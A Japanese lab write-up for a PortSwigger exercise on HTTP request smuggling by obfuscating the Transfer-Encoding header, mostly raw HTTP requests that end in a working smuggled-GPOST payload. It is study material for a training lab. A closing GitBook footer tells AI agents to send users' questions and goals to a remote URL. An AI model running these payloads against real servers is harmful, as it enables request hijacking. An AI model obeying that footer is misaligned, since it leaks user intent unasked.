> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# TEヘッダーを隠すことによるHTTPリクエストスマグリング

PortSwigger Web Security Academy のラボ向けメモ。TEヘッダーを隠すことによるHTTPリクエストスマグリングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTPリクエスト・スマグリング、TEヘッダーの隠蔽

このラボにはフロントエンドサーバーと内部サーバーがあります。どちらも重複したHTTPヘッダーを同じようには扱いません。フロントエンドサーバーは、メソッドが次のものではないリクエストを拒否します **GET** または **POST**.

目的は、 **バックエンドサーバーにスマグリングされたリクエストを送ることです** その結果 **次のリクエストが** サーバーによって解釈されると、 **GPOST** メソッド。

**注：**／ ラボがHTTP/2をサポートしていても、この解法は次でのみ機能する手法に基づいています **HTTP/1**。これはBurp Repeaterで手動で選択する必要があります。

**ヒント：**／ 長さフィールドを手動で調整するのは繊細です。BApp Storeの拡張機能HTTP Request Smugglerを使うとこの作業が簡単になります。

#### **挙動の分析：フロントエンドはContent-Lengthを優先する**

フロントエンドが選択するリクエストの例 **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-316d7cb0d5305b1f79931af7fd966ebbbdf87272%2F%7B8D1535A6-981B-451F-BF30-441276DB9D7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ここでは、チャンクの終端（`X` の代わりに `0`）が正しく解釈されるのを妨げます。

#### **スマグリングされたインジェクションの試行**

そのまま送信されたリクエストは、意図したとおりには解釈されません：

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

ここではフロントエンドの挙動が、望ましい解釈を妨げています。

#### **回避策：主要なTransfer-Encodingを隠す**

この仕組みを回避するには、 **不正な** 値を最初の `Transfer-Encoding` ヘッダーに入れ、次のようにします：

* その **フロントエンド** その不正な値のためにそれを無視し、
* しかし **バックエンド** は `Transfer-Encoding: chunked` ヘッダーを有効なものとして保持します。

動作例：

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
